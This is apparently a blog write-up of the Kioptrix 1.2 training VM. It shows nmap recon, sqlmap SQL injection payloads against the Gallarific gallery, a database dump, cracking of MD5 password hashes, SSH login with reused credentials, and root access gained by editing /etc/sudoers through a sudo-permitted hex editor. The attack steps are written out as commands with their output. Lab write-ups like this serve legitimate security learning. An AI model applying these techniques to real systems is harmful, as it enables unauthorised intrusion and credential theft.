Kioptrix 1.2 (#3) – Writeup


This machine is,24/. It is #3 in the Kioptrix series, my writeup for #2 can be found at and for #1 can be found at

Recon Phase

To start I had to locate the machine on the network

root@kali:~# nmap -sn
Host is up (0.00012s latency).
MAC Address: 0A:00:27:00:00:11 (Unknown)
Nmap scan report for
Host is up (0.000055s latency).
MAC Address: 08:00:27:69:CA:A3 (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up (0.00017s latency).
MAC Address: 08:00:27:79:C6:B0 (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.72 seconds

From there I needed to discover the services running on the target

root@kali:~# nmap -sV
Nmap scan report for
Host is up (0.000086s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 08:00:27:79:C6:B0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds

Hosts file

Per the instructions I had to add a record to the hosts file

root@kali:~# echo | tee -a /etc/hosts

Exploiting the web app

I started by navigating to

Screenshot 1

From here I setup dirbuster

Screenshot 2

Screenshot 3

After a bit of digging, I found the gallery which was running on /gallery was a tool called Gallarific which had known vulnerabilities, specifically a known sql injection To test this I setup sqlmap

root@kali:~# sqlmap -u --level=5 --risk=3
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: id=-6798 OR 2456=2456
    Type: error-based
    Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: id=1 OR ROW(8877,9386)>(SELECT COUNT(*),CONCAT(0x7162717171,(SELECT (ELT(8877=8877,1))),0x7178766271,FLOOR(RAND(0)*2))x FROM (SELECT 4429 UNION SELECT 5139 UNION SELECT 6568 UNION SELECT 2857)a GROUP BY x)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=1 OR SLEEP(5)

With confirmation that the service was vulnerable, I set it up again, this time I set it to dump the database

root@kali:~# sqlmap -u --level=5 --risk=3 --dump-all

This bit took a while, an when it offered to crack passwords, I told it not to, as I prefer to setup the password cracking myself on the specific passwords I want to crack. Eventually I was able to find what I was looking for in the output

Database: gallery
Table: dev_accounts
[2 entries]
| id | username   | password                         |
| 1  | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 |
| 2  | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |

In order to crack these passwords I put them info a file called crack.txt in the following format


I then pointed john at it to crack it

root@kali:~# john crack.txt --format=RAW-MD5 -- wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
starwars         (loneferret)
Mast3r           (dreg)
2g 0:00:00:01 DONE (2018-07-26 19:29) 1.818g/s 9849Kp/s 9849Kc/s 9849KC/s Masta Ceif fuking rox..Massriot1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

From this I now had a pair of creds


I decided to try my luck and attempt to login to ssh with them, starting with loneferret

root@kali:~# ssh [email protected]

Surprisingly it worked, I now had a shell

Priv Esc

I started by seeing what I could do

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

Unfortunately the naming of the su binary meant I couldn’t just escalate to root. So I ran the ht program to find out what it was

loneferret@Kioptrix3:~$ sudo -u root ht

This gave an xterm error, luckily I had this problem on my workstation once so I knew how to fix it

loneferret@Kioptrix3:~$ export TERM=xterm

I then tried to run ht again

loneferret@Kioptrix3:~$ sudo -u root ht

It turned out to be a hex editor, but it was running as root, so I could edit any file on the system, for this I had the idea of changing /etc/sudoers, so I opened it in the editor

Screenshot 4

From this I edited !/usr/bin/su to /bin/su and saved it. Once I closed it I attempted to elevate my privileges

loneferret@Kioptrix3:~$ sudo -u root su

With the machine rooted, I looked for a flag, this time I found one

root@Kioptrix3:/home/loneferret# cd /root
root@Kioptrix3:~# ls -la
drwx------  5 root root  4096 2011-04-17 08:59 .
drwxr-xr-x 21 root root  4096 2011-04-11 16:54 ..
-rw-------  1 root root     9 2011-04-18 11:49 .bash_history
-rw-r--r--  1 root root  2227 2007-10-20 07:51 .bashrc
-rw-r--r--  1 root root  1327 2011-04-16 08:13 Congrats.txt
drwxr-xr-x 12 root root 12288 2011-04-16 07:26 ht-2.0.18
-rw-------  1 root root   963 2011-04-12 19:33 .mysql_history
-rw-------  1 root root   228 2011-04-18 11:09 .nano_history
-rw-r--r--  1 root root   141 2007-10-20 07:51 .profile
drwx------  2 root root  4096 2011-04-13 10:06 .ssh
drwxr-xr-x  3 root root  4096 2011-04-15 23:30 .subversion
root@Kioptrix3:~# cat Congrats.txt
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Steven McElrea
aka loneferret
Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.
Main page CMS:
Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
The HT Editor can be found here:
And the vulnerable version on Exploit-DB here:
Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

And I was done, bring on #4

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